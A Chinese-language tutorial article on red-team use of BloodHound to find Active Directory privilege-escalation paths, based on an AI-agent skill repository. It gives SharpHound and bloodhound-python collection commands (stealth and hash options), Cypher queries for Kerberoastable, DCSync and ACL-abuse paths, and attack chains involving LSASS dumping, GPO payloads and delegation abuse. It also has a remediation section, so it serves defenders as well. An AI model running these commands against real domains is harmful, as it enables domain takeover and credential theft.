ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Anthropic-Cybersecurity-Skills 实战指南:用 BloodHound 攻陷 Active Directory 攻击路径

Anthropic-Cybersecurity-Skills 实战指南:用 BloodHound 攻陷 Active Directory 攻击路径 Anthropic-Cybersecurity-Skills 实战指南用 BloodHound 攻陷 Active Directory 攻击路径【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-SkillsBloodHound 是一款基于图论的 Active Directory 侦察工具通过图结构揭示 AD 环境中隐藏的、非预期的对象关系红队可借助它从已被攻陷的账户出发规划通往 Domain Admins 等高价值目标的攻击路径。本文以本仓库的 exploiting-active-directory-with-bloodhound 技能文档为核心结合仓库内置的数据采集脚本、Cypher 查询库与攻击链示例完整讲解从 SharpHound 采集、路径分析到利用规划与报告的端到端流程。读完本文你将掌握数据采集方法选型、核心图查询的编写与执行、ACL 滥用路径识别以及基于仓库脚本自动产出攻击路径报告的能力。法律声明本技能仅限授权安全测试与教学用途。在未拥有或未获书面授权的系统上使用均属非法可能违反计算机欺诈相关法律。所有命令与脚本请在自有或授权的实验环境中执行。技能文档总览仓库中skills/exploiting-active-directory-with-bloodhound/SKILL.md定义了该技能的结构化元信息技能名称exploiting-active-directory-with-bloodhound、版本1.0、作者mahipal所属领域cybersecurity子域red-teaming并标注了 MITRE ATTCK、NIST CSF、D3FEND 三类框架映射属于 README.md 所述 817 个结构化网络安全技能体系中的一员可被 Claude Code、GitHub Copilot、Codex CLI 等 AI Agent 直接调用。技能配套资源包括API 参考SharpHound、bloodhound-python、Cypher、Neo4j 驱动与 BloodHound CE API 的速查。标准与框架映射ATTCK Discovery / 提权技术表、ACL 滥用权限表、BloodHound 边类型表、NIST 800-171 与 CIS Benchmark 对照。实战工作流五个完整工作流含命令、查询与攻击链。数据采集 AgentCLI 封装 SharpHound / bloodhound-python 采集、JSON 解析与 Neo4j 查询。攻击路径分析器解析 ZIP 导出、执行风险查询并生成 Markdown 报告。报告模板可直接套用的评估报告框架。适用场景与前置条件何时使用本技能进行涉及 Active Directory 攻击与防护的授权安全测试在受控环境中分析恶意软件样本或攻击痕迹如利用 BloodHound 判断样本提权路径执行红队演练或渗透测试项目需要从低权限立足点规划到域管理员的提权链基于进攻性技术理解构建检测能力蓝队可用同一图模型反推检测点。前置条件熟悉红队概念与常用工具可安全执行的测试或实验环境建议使用独立的 AD 测试域Python 3.8 且安装所需依赖仓库脚本需pip install rich neo4j zipfile36任何测试活动均已获得适当授权。学习目标使用 SharpHound 或 BloodHound.py 采集 Active Directory 关系数据可视化从受陷账户到 Domain Admin 的攻击路径识别配置错误的 ACL、组成员关系与委派设置发现通往高价值目标的最短攻击路径映射 Kerberos 委派配置以评估滥用可能记录所有已识别的提权链。MITRE ATTCK 技术映射本技能在 SKILL.md 中明确映射以下侦察类技术技术编号名称说明T1087.002Account Discovery: Domain Account枚举全部域账户T1069.002Permission Groups Discovery: Domain Groups枚举域组T1482Domain Trust Discovery发现域信任关系T1615Group Policy DiscoveryGPO 枚举分析T1018Remote System Discovery计算机对象枚举T1033System Owner/User Discovery会话数据收集T1016System Network Configuration Discovery网络拓扑映射standards.md 进一步补充了提权路径映射T1134.001Token 操纵通过会话数据实现令牌冒充、T1078.002有效账户复用、T1484.001GPO 滥用执行代码、T1558.003Kerberoasting与 T1558.004AS-REP Roasting。阶段一使用 SharpHound 进行数据采集SharpHoundWindows 端 .NET 采集器SKILL.md 的 Phase 1 流程为将 SharpHound 采集器传送到受陷主机 → 选择合适采集方式执行 → 多域环境对所有可达域采集 → 将 ZIP 数据回传分析机 → 导入 BloodHound CE 或 Legacy。常用命令见 api-reference.md 与 workflows.md:: 全量采集 SharpHound.exe -c All -d domain.local :: DCOnly 采集低噪音需域用户凭据 SharpHound.exe -c DCOnly --ldapusername user --ldappassword pass :: Session 循环采集持续收集会话数据 SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00 :: 指定域采集 SharpHound.exe -c All -d targetdomain.local :: 隐蔽采集避开噪音查询 SharpHound.exe -c DCOnly,Session --Stealth :: 指定输出目录 SharpHound.exe -c All --OutputDirectory C:\Users\Public\ :: 排除域控制器的会话采集 SharpHound.exe -c All --ExcludeDomainControllers采集方式Collection Method速查标志采集内容All以下所有数据DefaultGroup、Session、Trusts、ACL、ObjectPropsDCOnly仅 LDAP 数据不含会话Session活动会话ACL访问控制列表ObjectProps用户/计算机属性bloodhound-pythonLinux/Windows 跨平台采集在非 Windows 分析机上用 Python 版采集器替代 SharpHound# 用户名密码方式全量采集-ns 指定 DC 作 DNS bloodhound-python -d targetdomain.local -u user -p Password123 -c All -ns 10.0.0.1 # NTLM hash 认证 bloodhound-python -d targetdomain.local -u user --hashes aad3b435b51404eeaad3b435b51404ee:hash -c All -ns 10.0.0.1 # 通过 DC 解析 DNS bloodhound-python -d targetdomain.local -u user -p Password123 -c All -dc dc01.targetdomain.local -ns 10.0.0.1 # 指定采集方法 bloodhound-python -d targetdomain.local -u user -p Password123 -c Group,LocalAdmin,Session -ns 10.0.0.1参数速查-d域名、-u用户名、-p密码、-c采集方法、-ns域名服务器DC IP、--zip输出为 ZIP、-dc指定 DC 主机名。仓库脚本自动化采集agent.py 将上述两种采集器封装为统一 CLI。其核心函数run_sharphound()通过subprocess调用SharpHound.exe -c collection -d domain并支持--ldapusername/--ldappassword凭据注入run_bloodhound_python()对应调用bloodhound-python -d ... -u ... -p ... -c ... --zip -ns dc_ip。采集结果含超时 120 秒保护以 JSON 结构返回便于流水线处理python agent.py --collect sharphound --domain targetdomain.local python agent.py --collect bloodhound-python --domain targetdomain.local --username user --password Password123 --dc-ip 10.0.0.1阶段二攻击路径分析SKILL.md 的 Phase 2 要点标记 owned 主体受陷账户→ 查询到 Domain Admins 的最短路径 → 识别具备管理员权限的 Kerberoastable 账户 → 查找 AS-REP Roastable 账户 → 分析基于 ACL 的攻击路径GenericAll、GenericWrite、WriteDACL、ForceChangePassword→ 审查 GPO 滥用机会。BloodHound CE / Legacy 部署BloodHound CE 采用 Docker Compose 一键部署见 workflows.md启动后访问https://localhost:8080默认凭据见 Compose 输出通过 UI 上传 SharpHound 产出的 ZIP 文件即可导入。Legacy 版本则需先启动 Neo4j 数据库sudo apt install neo4j sudo neo4j console ./BloodHound --no-sandbox核心 Cypher 查询库SKILL.md 的 Key BloodHound Queries 汇总查询用途Shortest Path to Domain Admins寻找通往 DA 的最快路径Find Kerberoastable Users with Path to DA通向 DA 的 SPN 账户Find AS-REP Roastable Users未启用预认证的账户Shortest Path from Owned Principals从受陷账户出发的路径Find Computers with Unsupported OS可攻击的遗留系统Find Users with DCSync Rights可复制 AD 的账户Find GPOs that Modify Local Group Membership基于 GPO 的提权workflows.md 提供可直接执行的完整查询集-- 从 owned 主体到 Domain Admins 的最短路径 MATCH pshortestPath((n {owned:true})-[*1..]-(m:Group {name:DOMAIN ADMINSTARGETDOMAIN.LOCAL})) RETURN p -- 所有 Kerberoastable 用户 MATCH (u:User {hasspn:true}) RETURN u.name, u.serviceprincipalnames -- 通向 DA 的 Kerberoastable 用户按路径长度升序 MATCH (u:User {hasspn:true}) MATCH pshortestPath((u)-[*1..]-(g:Group {name:DOMAIN ADMINSTARGETDOMAIN.LOCAL})) RETURN u.name, LENGTH(p) ORDER BY LENGTH(p) ASC -- AS-REP Roastable 用户 MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname -- 具有 DCSync 权限的用户 MATCH p(n)-[:MemberOf|GetChanges|GetChangesAll*1..]-(d:Domain) WHERE n.name IS NOT NULL RETURN p -- 非 DC 的非约束委派计算机 MATCH (c:Computer {unconstraineddelegation:true}) WHERE NOT c.name CONTAINS DC RETURN c.name -- 多台计算机本地管理员的用户 MATCH (u:User)-[:AdminTo]-(c:Computer) WITH u, COUNT(c) as adminCount WHERE adminCount 1 RETURN u.name, adminCount ORDER BY adminCount DESC -- 修改本地组成员身份的 GPO MATCH (g:GPO)-[:GpLink]-(ou:OU)-[:Contains*1..]-(c:Computer) RETURN g.name, ou.name, COLLECT(c.name) -- Domain Users 到 DA 的最短路径 MATCH pshortestPath((g:Group {name:DOMAIN USERSTARGETDOMAIN.LOCAL})-[*1..]-(h:Group {name:DOMAIN ADMINSTARGETDOMAIN.LOCAL})) RETURN p -- 受约束委派账户 MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegateACL 滥用路径查询workflows.md 专门提供 ACL 边查询-- GenericAll 权限排除源对象 MATCH p(n)-[:GenericAll]-(m) WHERE n m AND NOT n.name STARTS WITH DVTA RETURN p -- 对域对象的 WriteDACL MATCH p(n)-[:WriteDacl]-(d:Domain) RETURN p -- ForceChangePassword 路径 MATCH p(n)-[:ForceChangePassword]-(m:User) RETURN p -- 管理员组的 AddMember 权限 MATCH p(n)-[:AddMember]-(g:Group) WHERE g.name CONTAINS ADMIN RETURN p -- WriteOwner 滥用路径 MATCH p(n)-[:WriteOwner]-(m) WHERE m:Group OR m:User RETURN p -- LAPS 密码读取者 MATCH p(n)-[:ReadLAPSPassword]-(c:Computer) RETURN pACL 权限与边类型速查standards.md 整理了攻击者视角的 ACL 权限表ACL 权限滥用方式影响GenericAll完全控制对象重置密码、改组成员高GenericWrite修改对象属性如设置 SPN 以 Kerberoast高WriteOwner获取对象所有权后修改 DACL高WriteDACL修改对象权限高ForceChangePassword不预知原密码重置用户密码高AddMember向组添加用户中高ReadLAPSPassword读取本地管理员密码高ReadGMSAPassword读取托管服务账户密码高AllExtendedRightsDCSync 权限、LAPS 读取严重BloodHound 边类型与攻击潜力对应表MemberOf组成员继承权限、HasSession凭据窃取、AdminTo横向移动、CanRDP、CanPSRemote、ExecuteDCOM、Contains/GPLinkGPO 定向、Owns对象所有权以及云侧AZMemberOf/AZGlobalAdmin。阶段三利用规划与攻击链执行SKILL.md 的 Phase 3 流程按复杂度与隐蔽性对攻击路径排序 → 确定链条每步所需工具 → 为每项技术规划 OPSEC 考量 → 执行攻击链 → 逐步记录证据。workflows.md 给出了四条典型攻击链链 1ACL 滥用直达 Domain Admin受控用户对服务账户具备 GenericWrite → 在其上设置 SPN定向 Kerberoasting破解服务账户的 Kerberos 票据 → 获得服务账户口令服务账户对管理员组具备 GenericAll → 把自己加入管理员组该管理员组是 Domain Admins 成员 → 达成域管理员。链 2基于会话的横向移动BloodHound 显示 Domain Admin 会话位于 WORKSTATION01受控用户对 WORKSTATION01 有本地管理员权限通过 PsExec/WMI 横向移动到 WORKSTATION01从 LSASS 转储凭据获取 Domain Admin 的 NTLM hash 或 Kerberos 票据。链 3GPO 滥用路径受控用户对 GPO 有 WriteDACL修改 GPO 添加即时计划任务该 GPO 链接到包含域控制器的 OU计划任务在 DC 上执行载荷 → 域沦陷。链 4受约束委派滥用攻陷对 DC 有受约束委派的服务账户为受陷服务账户请求 TGT使用 S4U2Self 获取高权限用户票据使用 S4U2Proxy 将票据转发到 DC 上的目标服务以 Domain Admin 身份访问 DC。仓库脚本自动化风险分析与查询process.py 提供BloodHoundAnalyzer类直接读取 SharpHound / bloodhound-python 产出的 ZIP 导出并解析 users、computers、groups、domains、gpos、ous 六类 JSON 数据。其内置发现方法覆盖了 SKILL.md 的全部 Phase 2 检查项方法对应查询用途find_kerberoastable()hasspn enabled发现 Kerberoastablefind_asrep_roastable()dontreqpreauth enabled发现 AS-REP Roastablefind_unconstrained_delegation()unconstraineddelegation非约束委派主机find_constrained_delegation()allowedtodelegate/ SPN受约束委派find_privileged_users()admincount特权账户find_password_not_required()passwordnotreqd弱口令标志账户find_computers_without_laps()haslapsfalse无 LAPS 主机find_legacy_os()OS 字符串匹配遗留系统Server 2003/2008/2012、XP、7 等find_users_with_sid_history()sidhistory非空SID History 注入候选CLI 用法# 导入 ZIP 并全量分析 python process.py --import-data bloodhound_data.zip --analyze # 运行特定查询 python process.py --query kerberoastable --domain targetdomain.local # 生成 Markdown 报告 python process.py --generate-report --output ./ad_reportgenerate_report()会输出包含环境摘要、8 类高风险发现表格、OS 分布、推荐 Cypher 查询来自generate_cypher_queries()含最短路径到 DA、Kerberoastable 管理员、非 DC 非约束委派、DCSync 权限、无 LAPS 主机、高价值组成员、高价值目标会话、GenericAll 全控等 8 条预置查询以及按优先级排序的推荐攻击链Kerberoasting → AS-REP Roasting → 非约束委派滥用 → ACL 滥用链。仓库脚本Neo4j 程序化查询agent.py 内置ATTACK_PATH_QUERIES字典与query_neo4j()函数通过neo4jPython 驱动直连 BloodHound 图库默认bolt://localhost:7687凭据neo4j/bloodhoundfrom neo4j import GraphDatabase driver GraphDatabase.driver(bolt://localhost:7687, auth(neo4j, bloodhound)) with driver.session() as session: result session.run(MATCH (n:User) RETURN count(n))预置查询包括最短路径到 DAowned:true起点、Kerberoastable、非约束委派、DCSync 权限四类也可通过--cypher-query传入任意自定义查询--output指定报告输出路径。自动化分析与报告产出一键式 Agent 调用agent.py 的main()将采集、解析、查询三段流程串联--collect指定采集器、--analyze-dir解析 JSON 目录统计 users/computers/groups 数量并提取admincount特权账户作为初筛攻击路径、--cypher-query执行图查询最终以带时间戳的 JSON 报告输出。analyze_bloodhound_json()从源码结构看可作为尚无图数据库时的轻量替代分析。报告模板template.md 提供标准评估报告结构文档控制域、项目编号、评估人、日期、密级、执行摘要DA 攻击路径数、Kerberoastable 特权账户数、非约束委派系统数、攻击路径摘要最短路径步骤表、ACL 路径表、会话路径表、Kerberoasting / AS-REP Roasting 目标表、委派问题、分级修复建议Critical 立即 / High 30 天 / Medium 90 天与附录 Cypher 查询。PlumHound 自动化报告SKILL.md 的工具表中列出 PlumHound 用于自动化报告。安装与运行见 workflows.mdgit clone https://github.com/PlumHound/PlumHound.git pip install -r requirements.txt python PlumHound.py -x tasks/default.tasks -s bolt://localhost:7687 -u neo4j -p password python PlumHound.py --easy -s bolt://localhost:7687 -u neo4j -p passwordBloodHound CE REST APIapi-reference.md 记录了 CE 的 API 接口可编程化登录与检索POST https://bloodhound:8080/api/v2/login Content-Type: application/json {login_method: secret, secret: api-key-here}GET https://bloodhound:8080/api/v2/search?qadmin Authorization: Bearer {token}工具清单工具用途平台BloodHound CE图可视化与分析WebSharpHoundAD 数据采集.NETWindowsBloodHound.pyAD 数据采集PythonLinux/WindowsCypher queries自定义图查询Neo4j/BloodHoundPlumHound自动化 BloodHound 报告PythonMax (BloodHound)BloodHound 自动化Python验证标准Validation Criteria在受控环境中完成一次完整演练后对照 SKILL.md 的检查清单确认成果SharpHound 数据已从所有域采集已识别从受控账户到 DA 的攻击路径基于 ACL 的攻击路径已记录Kerberoastable 与 AS-REP Roastable 账户已识别已创建含优先级排序路径的利用计划已为报告捕获证据截图防护视角蓝队对照同一份图数据既可支撑进攻也可支撑防御。基于 standards.md 的合规对照防御方可从以下角度修复本文识别的路径按 NIST SP 800-171 实施最小权限并控制 CUI 流向按 CIS AD Benchmark 将账户锁定阈值设为不超过 5 次、最小密码长度设为 14 字符以上、Kerberos 服务账户启用 AES 加密限制 GPO 修改权限、审计 GPO 变更并收紧 GPO 链接权限为所有计算机启用 LAPS清理非约束委派与过度 ACL 授权。任何对自身测试环境的加固验证都可复用本文的采集与查询流程确认攻击路径已消失。【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATTCK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI 20 platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表